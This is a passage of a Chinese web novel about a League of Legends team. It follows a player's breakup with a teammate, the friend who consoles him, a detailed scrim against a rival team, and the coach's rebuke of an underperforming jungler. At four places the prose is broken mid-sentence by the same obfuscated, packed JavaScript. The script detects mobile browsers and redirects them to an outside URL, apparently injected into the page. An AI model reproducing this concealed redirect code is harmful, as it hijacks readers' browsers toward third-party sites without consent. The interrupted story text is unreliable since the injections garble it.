他抱着零食上楼推开于琰的房门,看着于琰背对着自己坐在床边,摇了摇塑料袋子:“小狗进食时间到。” 于琰扭头看廖望延,看着他将果冻塞到自己手里,叉着腰像大爷一样审视自己。 “干嘛?” “不干嘛,聊的怎么样?” “挺好的。” “挺好是多好?” “分了算多好?” “非常好。” 二人像在说相声一样一个捧一个逗,廖望延撕开薯片袋子,拿了一片塞进于琰嘴里。 “头一次吃苦味的薯片。”于琰边嚼边说。 “那可能是上火了,一会给你喂两片祛火药就好了。” 廖望延一片一片投喂,于琰就一口一口吃。 “自己拿着,没长手?” 廖望延喂烦了,将薯片塞到于琰怀里,自己抽了两张纸擦手。 “你对刚分手的人就不能温柔一点?”于琰觉得廖望延真是这个世界上最没情商的人。 廖望延翻了个白眼,蹲在他面前,直视着他的眼睛认真地说:“你不需要自责,你知道这样做对谁都好。” 于琰好奇地问:“你怎么知道是我提的?万一是钟络把我甩了呢?” 廖望延又翻了个白眼:“哥们,人家刚出柜,怎么可能说分手,你带点脑子问问题。” “哦,也是。” “我在认真说,你也给我认真听。你们两个一没成绩支撑,二没后盾保护,现在分手就是最优解。他的家庭是一座活火山,不知道什么时候火山爆发就把你们两个都烧了,你现在的做法就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458210|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在让这座火山进入长久的休眠期,这是好事,你不需要因此而有什么自愧心理。” 廖望延上一次展露出这种认真表情还是在夺冠回国和于琰吃那顿饭的时候,只不过那时候是质疑自己轻率,而现在是肯定自己的做法。 于琰扔掉薯片袋子,盘起腿和廖望延袒露心声:“我自己也觉得这么做是对的,可我就是控制不住自责,我就觉得,人家为了我和家里人出柜,结果我先胆小说分手了。” 廖望延反驳他的观点:“你说的不对。他并不是为了你而和家里出柜,他是被迫出柜,如果如你所说他是为了你,那么他应该在出柜前规划好所有的后续事情,而不是像现在一样制造出一个烂摊子。” “有理,继续说。” “虽然不清楚到底发生什么了,但是我多少也能猜到,无非是家人介绍女朋友之类的。如果他够理智够成熟,那么他的做法应该是先答应下来,再及时告诉你自己是被迫的,然后去和那个女生好好沟通,达成共识后委婉的告知家人不合适,不管再介绍多少个都走这个流程。” “那不还是瞒着父母吗。” “是瞒,但现在不这么做还有什么更好的方法吗?时间久了总会有比现在这种更好的解决方式不是吗?” “是,我也觉得太突然了。” “所以没什么好自责的,你这充其量算是相处下来发现不合适,少给自己扣高帽子。” 廖望延成功当了一把知心大哥,直起身子拽于琰。 于琰被拽得一个趔趄差点栽下床,忙伸开腿撑在地上,不满地指责:“干嘛啊你?” “下楼开Party,祝贺我成功摆脱小号可以用大号玩游戏了。” “祝贺就祝贺,你别他妈拽我!老子毛衣都被你拽变形了!”于琰踉踉跄跄地被廖望延带下楼。 等二人走到餐桌前,正在吃东西的Nap停下原本的动作,伸手捞过来一瓶啤酒,拉开拉环递到于琰手上。 “来晚了自罚三杯。” 于琰愣了愣,他还以为大家会尴尬的不和自己说话。 看着众人一如既往的笑容,于琰也放下了心,将袖子撸上去大言不惭地吹牛:“三杯?麻雀喝水呢?看我直接炫一瓶!” “炫,你敢流出来一滴我都再罚你一瓶!”邵乖在旁边煽风点火。 廖望延看着一瓶酒下肚露出笑容的于琰总算松了一口气。 他顺势拿了瓶酒,在所有人都没注意到他的时候重新上楼,敲了敲钟络的房门。 听着钟络在房间里问是谁,他报出名字和来意,十秒钟后门从里面被打开。 钟络顶着两颗核桃眼和廖望延说:“不好意思啊延哥,我就先不下去了。” 廖望延举起手里的东西:“没事,我猜到了,所以给你捎上来一瓶酒。” “谢谢延哥。” 钟络接过酒瓶后廖望延就要转身下楼,却又被钟络叫住。 “延哥。” “嗯?” “我和于琰分了。” “我知道。” “是吗,那你有什么看法吗?” “你希望我有什么看法?” “你也觉得是我做错了吗?” 廖望延当着钟络的面故作思考了一下,然后点了点头。 钟络无奈地笑了一下:“是吗……果然啊。” “好好休息吧,明天还得训练呢。”廖望延无意和他多聊,说完这句就转身下了楼。 钟络看了看自己手里的酒瓶,关上房门将它扔进了垃圾桶。 18.Chapter18 距离廖望延的入队公告过去一周,众人都在训练室里打rank,老姚推门而入。 “有没有开着直播的?”老姚扫了一眼众人的屏幕问道。 看着没人应声,他翻开本子看了看,然后通知大家:“给大家约了一场训练赛,和PNG打BO3,晚上七点半开始,你们准备一下。” 廖望延掀起眼帘:“PNG?那不是CC的新队吗。” 邵乖顿时起了兴趣:“好啊好啊,我喜欢和CC对线!” 老姚合上本子:“嗯,他们今年买了NWG的上单CC,其他队员还是老样子。晚上Mesh打第一局,第二把钟络轮换上,第三把待定。” 看众人应下,老姚像一阵风一样又飘走了。 于琰嘴里嚼着口香糖,边在游戏里补兵边和廖望延聊天:“我妈给你买了件衣服,一会你跟我去房间取。她说前两天跟我视频时候看你穿太少了怕你冷,我真搞不懂,到底谁是他儿子啊。” 廖望延也是边打游戏边回:“你怎么不说上半年我爸背着我送你一条小叶紫檀手串呢?要不是他自己说漏嘴我到现在都还被蒙在鼓里。” “不好意思,把这事忘了。” “不客气。” 坐在房间最里面的钟络听着二人的闲聊攥紧了抓着鼠标的右手,操控的英雄在F4站了十多秒,直到被自家路人中单发问号他才重新动起来。 自从于琰提分手后,钟络就在刻意躲着他,除了必要的训练时间外他基本不出现在基地公共区域,也很少跟着大部队一起吃饭,几乎都是自己点了外卖之后拿回房间吃。 无法避免接触的时间内他也不与于琰对视,好几次于琰想和他打招呼,还没来得及开口就被他擦肩而过的身影打断,导致于琰这周过得也不怎么愉快。 于琰一开始想的挺好,虽然做不成情侣但终归还是队友,毕竟他们二人当队友的时间比恋爱的时间长多了,调整心态应该不是什么难事,但钟络这一周的做法让他意识到,原来这件事很难。 曾经在一起过还怎么毫无芥蒂的转变回原来身份呢?除非本来就并没多喜欢,钟络越是这么想,就越无法直面于琰。 二人陷入了循环怪圈。 晚饭后廖望延跟随着于琰的脚步进了卧室,看见床上摆着带吊牌的外套转身进了洗手间。 “你干嘛去?”于琰不解问道。 “你妈买的衣服我得洗手以后才能碰,免得脏了衣服上满满的母爱。” 廖望延的声音伴随着水声传出来,于琰闻言翻了个白眼。 “戏精。” 廖望延擦干手走到床前拿起外套穿在身上。那是一件浅灰色翻领单排扣大衣,剪裁十分贴合他的身材,长度在廖望延腿窝往下一点,他站在于琰的落地镜前整了整衣领,将手插在大衣兜里摆了个poss。 转过身面对着于琰,他扬起下巴命令:“拍张照,角度记得找好,然后给你妈发过去,让她看看自己优秀的选衣品味。” 于琰懒得搭理他,掏出手机随手拍了一张,伴随着某人不满地啧声将图片发了过去,甚至连原图都没点。 图片发过去还没30秒,对面就发来了消息。 【千金大小姐:小延真是穿什么都好看,儿子,妈又给他买了件米白色的羊绒开衫,等到了以后你记得拿给小延哦~】 【y:妈,你跟我说实话,廖望延才是你儿子吧?】 【千金大小姐:如果可以的话我确实希望他是,可我已经有你这只宝贝啦~】 【y:妈,量词是不是用错了?】 【千金大小姐:儿子,有时糊涂也是一种快乐,为什么非要问呢?】 【y:……】 在手机里被亲妈伤害,眼前还有廖望延这么个精神污染体,于琰觉得自己整个人都不好了。 “把衣服给老子脱了赶紧下楼,一会还有训练赛呢,臭显摆什么啊。” 于琰的话提醒了廖望延,正事要紧,他将衣服挂进于琰的衣柜,二人一同下楼往训练室走。 二人登上游戏进到自定义房间里,此时还差一个正在上厕所的邵乖没回来,大家都在闲聊。 【CC果冻:延哥,怎么说咱俩也当了几年队友,一会给哥们点面子,少来两次上路好不好?】 【小嘴抹蜜:视情况而定】 【CC果冻:你去抓我们中路,他好抓。】 【ouo:CC你说的也是人话??延哥!爸爸!我都叫爸爸了就别来了!】 于琰看见PNG中单的话刚想打字,邵乖就推门而入急哄哄地问:“我没迟到吧!” “你还有三分钟,赶快。”Nap提醒他。 “来了来了。” 随着邵乖进入房间,HG和PNG训练赛的第一场正式开始。 PNG一手ban掉廖望延的寡妇,于琰调侃他:“希望明年比赛你的寡妇能有上场机会。” “少管你爹,不用寡妇我也能c。”廖望延边回他边听从老姚的话ban掉塞拉斯。 PNG二三手又ban掉了打野佛耶戈和皇子,左星水挑了挑眉:“Mesh,看来对面这把是针对你战策啊。” 廖望延笑了笑:“看来是这样。” 经过bp,众人英雄选择如下: PNG:腕豪、梦魇、辛德拉、锤石、女警。 HG:纳尔、猪妹、丽桑卓、寒冰、布隆。 游戏加载完刚进入,对面中单就发来所有人对话。 [ouo:你们这是弗雷尔卓德大聚会?] [鲨鱼之王:怕了吧。] [ouo:怕了怕了。] 对待职业队伍肯定不能像平时rank一样聚在一起打一级团,众人分散开,邵乖站在上路草丛里,于琰配合廖望延进入对方野区放了一颗探查眼,下路二人组则是在下河道徘徊。 一分零五秒,双方无事发生,小兵开始上线。 廖望延的猪妹速刷到三级,从上河道开启扫描蹲伏在草丛里给邵乖打信号。 邵乖顺势前压,当时他已经在平A腕豪了,装作想点出三环的样子向前走。 按照以往CC对廖望延的了解,现在他应该在入侵下路野区,所以CC安心加速上前想E住纳尔打一套,可惜这把廖望延猜到了CC的想法。 在腕豪已经贴近纳尔的时候,纳尔位移向后撤,草丛里的猪妹Q闪冲到腕豪面前,与纳尔配合打出被动眩晕住他,二打一成功将CC一血拿下。 [CC果冻:延!!!哥!!!] [小嘴抹蜜:爱你才会gank你。] 廖望延的猪妹拿下助攻草丛回城,出门后又刷了几组野在上河道龙坑插了颗真眼,此时已经五分钟,他预判对面梦魇会来争这组巢虫。 “于琰邵乖往河道靠。”廖望延指挥道。 听到命令的二人迅速清完兵线开始向廖望延靠近,此时对面上单和中单也正在做着同样的操作。 廖望延感觉不对。 对面来的过于直接,按理说腕豪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466259|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在0-1被廖望延断了一小波节奏,打野梦魇刚刚五级,对面上中野三人是明确知道无法和HG三人抗衡的,那为什么还会这么坚决呢? 此时左星水发来下路消失信号。 果然,对面调动来了下路二人组想强行以多打少。 左星水和Nap及时发现正在往上河道赶,不多时十人皆至。 PNG拥有锤石这种抽奖英雄,只要能勾中,那他们就能集火秒掉那个人,HG众人走位都很小心。 于琰一直聚精会神,他的丽桑卓虽然还没六级,但W也是控制技能。 突然,他发现PNG一个三人扎堆的走位,立刻E闪W进场控住三人,廖望延跟上控制,5v5团战即刻打响。 对方辛德拉QE连招被Nap的布隆挡住,寒冰和纳尔配合猪妹的被动将对方锤石打到残血,丽桑卓一个Q收下人头。 纳尔踩中PNG女警夹子,被A到只剩1/3的血量,布隆跳至他的身边Q到女警,寒冰打出被动拿到女警人头,同时邵乖的纳尔也被中单辛德拉击杀。 梦魇六级前和六级后是质的区别,没大招前他几乎无法和人抗衡,看己方已经死了两人他闪现想跑,却被猪妹转好cd的Q再次控住,于琰EWQ将第二个人头收入囊中。 HG几人血量都已残,廖望延制止住还想追的队友:“别追,撤,不然很有可能被换。” 腕豪血量还有一半,辛德拉又有反手技能,此时回家补充装备才是最佳选择,穷寇莫追的道理廖望延在前面半个月已经教了HG几人很多次了。 众人闻言冷静下来,除了已经死了刚复活的邵乖,众人帮助廖望延拿下巢虫后在自家野区回城,这波5v5团战HG打了个1换3,大赚。 此时的人头比为PNG1:4HG,PNG已然开始劣势。 团战拿到两个人头的丽桑卓经济领先辛德拉很多,于琰开始游走。 借着丽桑卓E的位移技能,他清完中路兵线后绕进PNG下半片野区,在对方一塔后面与左星水和NAP形成包夹之势,成功帮助左星水拿下双杀后又将小龙拿下。 上路邵乖被六级的梦魇配合腕豪抓死,而廖望延又及时赶到将梦魇击杀。 现在的PNG已经完全无力和HG抵抗了,他们开始避战。 时间拉扯到了24分钟,HG拿到了巢虫、先锋和两条小龙,而PNG只有一条小龙的资源进账,且三条路的一塔都被HG拆掉,全线经济落后HG。 Nap将对方上半边野区全部点亮,对方视野全部排光,PNG根本不敢贸然进野区,生怕一个不觉被阴死,只好做几颗防守眼。 廖望延让邵乖在上路露头骗住对方,自己则是集结了中下三人开始灯下黑rush大龙。 等PNG意识到不对劲,用蓝色饰品点亮大龙处的时候,大龙已然被HG打到只剩1/10的血量,梦魇硬着头皮黑灯开大准备强抢大龙,却仍然不敌廖望延。 HG在25分半击杀梦魇拿到大龙。 此后便是一路平推,少了打野的PNG想避战,让出中二塔与高地,却还是被HG强开,勉强反杀了于琰的丽桑卓,却也将己方四人的命全部送出。 29分钟,HG活着的四人站在空无一人的PNG水晶前,老姚在后面提醒:“行了,退游戏吧。” 廖望延退出房间喝了口水,伸手锤了锤脖子。 十分钟后,他转头看向左侧闭目养神的人,淡淡开口—— “钟络,到你了。” 19.Chapter19 训练赛第二局HG把打野从廖望延换成钟络,进入BP环节。 PNG一手ban掉上局于琰表现出色的丽桑卓,二三手又ban掉了塞拉斯和阿卡丽。 于琰看着这几个英雄不由得扑哧一声笑了出来:“上把针对阿延这把针对我是吧,他们就非得可着一个位置ban人?” 廖望延站在他身后,闻言轻轻捏了一下他的脖子,刚握过冰水的手现在还泛着丝丝凉意,于琰被冻得缩了缩脖子。 “你在高兴什么?对面这么ban人,前三手都没亮中单,完全不害怕咱们也针对中路进行bp,肯定是有设计的,有空插科打诨不如好好想想对面会选什么来针对你。” 于琰无所谓道:“中单英雄那么多,十个位置根本ban不完啊,老姚让我玩什么我就玩什么呗。” PNG前三手选择亮出贾克斯、卡莉斯塔、芮尔,上下路人选已然确定。 HG这边则是前三手选出剑姬、莎弥拉、泰坦和PNG对拼。 两个队伍的上路选择的都是可单带的英雄,无惧四一分推战术,下路的选择也都是可强开的强势阵容,双方前三手选完阵容五五开。 双方经过第二轮ban人后,PNG第四手选出酒桶,HG这边则是选出了瞎子和狐狸。 老姚看着对面的四个英雄小声问廖望延:“你觉得对面中单最后会掏个什么出来?” 廖望延想了想:“不好说,应该是冷门英雄,想用咱们练兵。” 老姚点点头:“我觉得也是。” 果然,二人交谈声刚落,对面在选人的最后一秒钟锁下时光守护者。 这个英雄在之前的比赛上场率很低,为数不多选出来也是作为辅助出现。 技能机制导致这个英雄很烦人,Q技能为扔出一个三秒后会爆炸的炸弹,配合W的刷新技能,两段Q可以瞬间引爆炸弹并晕眩对方英雄,E技能可以给队友加速或给队友减速,大招则是复活队友。 最终HG和PNG的训练赛第二场最终英雄选择如下: HG:盲僧、剑姬、狐狸、莎弥拉、泰坦。 PNG:酒桶、武器、时光、卡莉斯塔、芮尔。 游戏边读条于琰边嘟囔:“这种东西也要掏出来玩,off真是恶心他妈给恶心开门,恶心到家了。” 隔着好几个市的PNG中单off对着屏幕打了个喷嚏,他揉揉鼻子念叨:“又是谁骂我呢。” 钟络看着对面的阵容,还没开始打手心就冒起一丝薄汗。 刚才廖望延以完美的方式赢下了第一局,自己在这局只能成功不能失败。这场训练赛不只是训练赛,也是他钟络为数不多能证明自己的机会,如果这次没能把握住,那以后再想和廖望延争首发就很困难了。 钟络在读条界面闭上眼睛,深深吸了一口气。 廖望延的注意力一直有一部分放在他身上,看着钟络此刻紧张的动作,他面不改色移开了目光,心里暗道—— [钟络,机会不多,抓不住的话就不要怪我了。] [不只是游戏,我指的是所有。] 读条结束,游戏开始。 于琰思考了一下还是扭头问老姚:“这把谁指挥?” 老姚回:“钟络。” 于琰点点头,将头转回去打开商城买好多兰戒和血药上线。 钟络这局的想法和上局的廖望延一样,对待专业队分散站位,不过不同的是他让邵乖独自去插了颗监视眼,自己则是准备入侵对方蓝buff。 一分钟的时候,邵乖的眼位查探到了酒桶的动向,钟络的盲僧开始往对方下半区靠。 成功交换到对方下半片野区,钟络知道自己的动向应该也已经被PNG发现,回头刷完自己下半区就开始想要做事。 他先是在自家下路蹲伏,但PNG下路双人组也知道盲僧肯定在附近,将兵线卡在中间,走位非常保守。 钟络看机会不大就转头往中路靠,给于琰点了下信号。 于琰发现了钟络的动向,但并不迫切向前。此时中路兵线较多,他只补最后一下,将兵线成功回防至自家塔下。 看着时光走位较为靠前,于琰操控狐狸闪E,成功魅惑到时光,钟络从草丛中摸眼Q到,但酒桶此时也支援过来。 被狐狸和盲僧打了一套,时光血量已经很不健康,他向后闪又用E加速,于琰立刻想要追击,此时这种情况如果不强行击杀时光就亏大发了。 正当追击时,酒桶一个肉弹冲击控住于琰接Q,时光紧接着跟上QWQ,此时狐狸的血量和时光一样逼近危险线。 于琰急匆匆开口:“钟络,杀时光!” 钟络操控的盲僧二次Q到时光成功击杀,而于琰的狐狸也被酒桶成功换掉,双方打野偃旗息鼓撤回野区。 这波打了个一换一,双方打野各拿一个人头,而中单也各死亡一次,此次gank算不得赚。 钟络回家补充装备往下路靠,刷完野区后绕到PNG下路一塔后方草丛等待机会。 左星水和Nap见状开始速推兵线,盲僧露头卡住PNG二人组,形成包夹之势。 兵线推至PNG一塔下,Nap泰坦闪现勾到对方卡莉斯塔,却也被芮尔控住,钟络Q过去打出伤害,左星水的莎弥拉也借着泰坦正在顶塔开始输出。 此时,对方打野酒桶又及时赶到,双方在下路形成一个3v3的局面。 在塔下强杀需要承担风险,Nap的泰坦扛了两三下就只能后撤,可此时的钟络被PNG包夹在中间无法逃走,他勉强换掉卡莉斯塔却也丢掉性命,人头被酒桶拿到。 Nap泰坦的血量因顶塔而残,酒桶杀掉钟络后又配合芮尔将Nap击杀,只留一个左星水逃跑成功。 下路小规模团战HG打了个2换1,还丢掉了第一条火龙,血亏。 此时的酒桶已经3-0,盲僧只能野区避战,选择从线上找机会。 上路的邵乖和CC都很谨慎,一直未曾爆发人头,双方都是点到为止,钟络觉得上路武器不太好杀,选择第二次去下路gank。 可就当他灯下黑从自家塔下摸进草丛时,PNG打野酒桶在上路出现,配合CC成功在塔下将邵乖击杀。 邵乖不耐烦地“啧”了一声,钟络心里一颤。 其实邵乖没什么其他意思,他就是对自己在塔下被杀了这件事表达一声不满,可钟络本就精神高度紧张,听见这声啧他下意识觉得邵乖是在埋怨自己没有帮他。 此时箭在弦上,自己已经蹲在下路草丛了,只能先将这次gank打完再考虑其他。 可他却也因为邵乖的这声啧,走神忽略了于琰中路点的时光miss消失信号。 钟络的盲僧找准时机,回旋踢踢回对方卡莉斯塔,三人集火将ad打至残血,但从河道冒出一个加速而来的时光,在击杀卡莉斯塔的瞬间成功给她套上了大招。 于琰边从中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475427|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路往下靠边说:“我打miss了啊,你们应该等我来了再打啊!” HG众人想压卡莉斯塔的复活瞬间,却被辅助芮尔大招控到三人,时光接上双Q控制炸弹,成功消耗一波血量。 卡莉斯塔复活后用大招成功将深入敌营的芮尔拉回,借着时光E技能加速,三人向后逃跑。 于琰的狐狸及时赶到REWQRR一套连招带走卡莉斯塔,却没能留下另外两个。 此次gank四打三只击杀了一人,而且还用掉了钟络和泰坦的闪现,小亏。 几次三番的gank都没能取得好成绩,钟络明显有点急,听着于琰在耳机里说“上的太急了”的时候他没过脑子回道:“那你为什么不能在报miss的时候就往下赶呢?” 耳机里本来还在对话的几人瞬间无言,气氛一下子冷了起来。 于琰皱了皱眉解释:“我中路一大波兵线,时光是用技能清完兵消失在一塔下的,我看见他的时候他并没有往下路走的动向,我以为他是回家补装备了,但以防万一我还是打了miss,等我清完兵线想往下走的时候你已经开团了,我就算是狐狸你也得给我过去的时间吧?” 钟络知道自己有点口不择言,干巴巴地道了声歉,却没能等来于琰的回应,他心里的焦躁感又上升了几分。 仿佛从游戏开始就注定了这把的命运,一开始的几波gank都没能起节奏,之后的钟络就被PNG的运营牵着走。 不管他去哪里,要么酒桶在,要么时光在,不仅无法拿到人头还又送出了两个。 19分钟时,酒桶数据5-0-1,而他1-3-1,他只能寄希望于小规模团战。 27分钟,此时经济差来到了5.5k,HG外塔只剩中二塔,其他全部被拔掉,小龙只拿到一条,剩下的资源都是PNG的。 Nap蓝色饰品扫到PNG众人都在大龙附近,打了个信号,众人皆往龙坑赶,如果这波大龙团打输了,那么最后的翻盘希望也没了。 邵乖的剑姬在带下路兵线,只要一打起来他随时能传送。Nap开着扫描排眼,被阴在草里开着加速的时光耗掉1/6血量。 Nap是最惨的,几次下路gank都以他的死亡结束,到现在他根本没出什么防装,对面不管谁打他都疼的很,根本扛不住。 除了边路的两位上单,剩余八人都在上河道徘徊,明明大优势的PNG却不着急开团。 钟络已经紧张到右手微微颤抖了,他越来越绝望,PNG越是稳健他就越是慌张。 突然,PNG芮尔WR起手开团控住泰坦,剩余几人也一起集火,边路二人亮起TP。 等邵乖TP下来,Nap只剩一丝血皮了,酒桶R炸回莎弥拉与狐狸双C,莎弥拉刷不出S被武器控住秒掉,狐狸一套技能也没能带走发育最好的酒桶,盲僧踢回时光却被他的金身拖住时间,团战直接溃败。 大优势的PNG打出0换3,成功拿下大龙拆掉上路高地。 死亡的三人复活时间太久,独留邵乖的剑姬与钟络的盲僧苦苦支撑,却仍然不敌全员存活的PNG。 基地被推到只剩一丝血量的时候PNG众人停下手,老姚在后面叹气:“行了,退了吧。” 钟络看着四个队友纷纷退出游戏,自己靠在椅子上沮丧出神。 老姚看向廖望延:“下局你上吧,bp你来决定。” 说完又拍拍钟络肩膀:“你跟我出来一下。” 20.Chapter20 “钟络,你最近的状态很不稳定,我能问一下是怎么了吗?”老姚坐在会议室里问。 自从那天自爆出柜后,老姚就发现他的状态直线下滑,一开始他还以为可能是出柜面对队友不好意思,结果发现他和于琰的相处也很奇怪。 “对不起姚哥,我会努力调整的。”钟络没直面回答老姚的问题。 老姚实在是有些恨铁不成钢:“钟络,我能相信你吗?之前你家里的事情我了解我也体谅,所以对于你在赛场上出现的一些问题我都大事化小小事化无。可现在队里买了新打野,而且还是廖望延这种冠军选手,你不仅没有进步反而技术直线倒退,你就真想这么做着替补了?” 钟络苦笑着看向他:“姚哥,你以为我想吗?我前脚和家里出柜于琰后脚跟我分手,队里现在都在和廖望延磨合,和我一起训练的时间很少,我知道表现不好是我自己的原因,可这局游戏输了就真的全是我的原因吗?” 老姚惊了,一方面震惊于二人居然分手了,另一方面是钟络居然话里话外推卸责任。 “既然你这样说,那我们就说说你这把的问题。”老姚合上本子准备和他分析一下。 “一开始你选择入侵开局,明知道动向被看到还要浪费时间蹲在下路,虽然时间不长,但你明明可以不浪费这些时间。” “后来你又去下路,选择绕后让吴醒扛塔强行gank,你当时是什么样的规划?你难道没有想到酒桶也会出现?没想到当时没6级越塔风险很高?那波越塔你们2换1还丢了小龙,这种结果你有想到过吗?” “邵乖剑姬的熟练度很高,可你一次都不去帮,你还要再去下路,下路到底有什么值得你这么看重?于琰在中路报miss的时候你看到了吗?如果看到的话为什么还要在明知道中路消失的时候强行开团?你还在打完这波以后质疑于琰为什么不及时过来,这波到底是谁的问题?” “先锋团那波明明不好接,为什么要硬打,被人家0换2就高兴了?小龙团犹豫半天踢回来一个芮尔被人家反手开团你怎么想的?最后大龙团踢回一个有金身的时光你又是怎么想的?” 老姚字字珠玑,既然钟络不承认全是他的问题,那就一件件都点出来,看看到底是谁的问题。 “游戏输了固然五个人都有问题,可你作为队伍的指挥几次三番处理不当,明显你的问题最大不是吗?”老姚很失望。 他没想到,自己体谅到最后,反倒体谅出了一个不知道反思的人。 “姚哥,我不是这个意思……”钟络后悔刚刚那么说了。 “我不知道你到底是什么意思,但我的意思现在可以明确的告诉你,如果你持续保持这种状态,以后你不会有上场机会了。” 老姚不想听他狡辩,机会给的够多了,作为职业选手如果因为私人感情而影响职业状态,那只能证明这个人的心态还不够成熟。 “姚哥……” 钟络不知道该说些什么才能挽回现在这种局面。 这一周他过得太煎熬了,不管是哪种方面。 “你回去自己好好想想吧,我言尽于此。”老姚觉得这场谈话可以到此为止了,如果钟络还有上进心,那他后面自然会及时补救,如果没有,现在队伍里也不缺他这个人。 老姚拿起桌子上的笔记本起身,钟络只好无言的跟在身后。 就在老姚和钟络谈话的时候,训练室里的五人已然开始了第三局的bp。 身处游戏一楼的于琰问廖望延:“要不要把时光ban了?” 廖望延摇摇头:“不需要,能打,训练赛就是为了练,尽早找出解法才是王道,如果现在就开始ban,以后就要浪费一个ban位。” 于琰点点头没再说别的,最终十人英雄选择如下: PNG:皇子、鳄鱼、时光、卡莉斯塔、芮尔。 HG:蔚、奥恩、妖姬、金克斯、璐璐。 这局游戏HG是红色方,游戏读条时,廖望延跟大家说出安排:“邵乖,这局你抗压,我需要你牵制住鳄鱼。于琰,六级前我会来帮你,最少也要杀掉时光一次。水哥,前期稳住,我六级后再去。” 众人进入游戏后跟随着廖望延的信号,五人一起从下路野区进入河道草丛。 “一会不管遇见谁都直接上。”廖望延提醒另外四人。 在草丛等待了一会,发现了来做眼的芮尔,廖望延Q蓄力冲向她,Nap的璐璐紧随其后给芮尔套了个变羊。 变羊后的芮尔无法攻击或者施法,只能被动挨打,此时PNG的ad想过来支援,却发现HG五人皆在,只好卖掉芮尔退后。 廖望延提醒:“人头给妖姬。” 邵乖的奥恩不情愿地收回大锤子,最终人头成功让于琰拿到。 “给你的优势你可得把握住,要是敢在游戏里送人头,一会我就取你的真人头。”廖望延威胁道。 “放心,我妖姬拿到一血,这时光就别想好好玩了。”于琰现在信心百倍。 时光这个英雄固然恶心,但并不是没有克制方法,至少廖望延让于琰选的妖姬就能很好的针对他。 妖姬的W和R都能提供位移技能,能大幅降低时光Q炸弹的命中率,且时光较脆,三级后妖姬两套技能命中估计他就吃不消。 廖望延常规开野,让左星水和Nap帮自己打几下蓝buff后上线,自己清完下半片野区正好刷下河蟹。 偷掉对方F6,廖望延在此处蹲伏,看着时光走向前清兵,他蓄力穿墙而过Q到时光,妖姬上前E链住时光接Q,二人一套技能将时光打到半血以下。 时光给自己套上加速向后闪,妖姬W向前挂上引燃,成功击杀。 妖姬两个头,大优势开局。 廖望延后退至自家上半边野区,吃完资源后从上路蹲伏进行防守gank,等了十来秒见无事发生便原地回家。 PNG上单这把选的鳄鱼是个大前期英雄,如果前期不给他拿到大优势,后期就是个大型超级兵,所以前期对方皇子肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14489286|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会将机会都放在上半区。 回家补给装备后巢虫已经刷新,廖望延让于琰将时光压到残血回家,自己安心打巢虫。 皇子从蓝buff往上走,正看见打巢虫的廖望延,准备上来抢两只小的。妖姬将时光打回城后本想去下路gank一波,看见上河道皇子露头扭头去帮廖望延。 2个人头在手已经六级的妖姬谁看见都得往后退,皇子看见妖姬的一瞬间就EQ回撤到自家野区,妖姬就这么当了个女保镖,守护着蔚打完巢虫,皇子也换到资源成功拿到第一条小龙。 上路的邵乖虽然抗压但并没落后多少补兵,一直将兵线卡在自家塔下,皇子来了两次都没有什么机会gank到他。 邵乖打着哈欠招呼廖望延:“延哥来一趟呗,再不来哥们睡着了。” “一会就来,你卖点血。” 邵乖兴奋地往前走去A远程兵,成功被鳄鱼换走一套血量。 廖望延假装从中路露头,转身又绕回到蓝色方一塔野区夹角。 此时正好是一波回推线,兵线被邵乖推至河道处,看着鳄鱼往蔚那里退,邵乖起手开R召唤羊来。 鳄鱼发觉不好想往后撤,廖望延Q蓄力冲出野区夹角,R锁头控住鳄鱼,成功帮助邵乖拿下人头。 对方皇子姗姗来迟,看着蔚和奥恩吃塔皮无可奈何。 此时双方人头比为PNG0-3HG。 廖望延回家补给装备后打开装备面板,看着妖姬出了个杀人戒挑了挑眉:“你这戒指能有机会换成书吗,别浪费这350块钱了。 ” “你看不起谁呢?这把你就等着我把off杀成孙子吧。”于琰撇了撇嘴,不满于廖望延居然敢质疑自己的妖姬。 此时交流完的钟络和老姚也已经回到训练室。 